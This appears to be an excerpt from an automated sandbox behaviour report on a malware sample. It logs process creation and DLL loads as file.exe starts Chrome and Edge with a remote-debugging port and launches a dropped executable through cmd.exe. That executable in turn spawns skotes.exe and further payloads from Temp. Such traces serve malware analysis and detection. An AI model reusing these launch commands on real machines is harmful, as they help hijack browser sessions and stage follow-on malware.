Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2020,i,2579233296112613996,7576974820775269714,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2368,i,8315494591185384419,3277572729580263378,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7284 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBAKJEHDBG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCBAKJEHDBG.exe "C:\Users\user\DocumentsCBAKJEHDBG.exe"
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6472 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5752 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBAKJEHDBG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2020,i,2579233296112613996,7576974820775269714,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2368,i,8315494591185384419,3277572729580263378,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7284 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6472 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5752 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCBAKJEHDBG.exe "C:\Users\user\DocumentsCBAKJEHDBG.exe"
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: windows.storage.dll
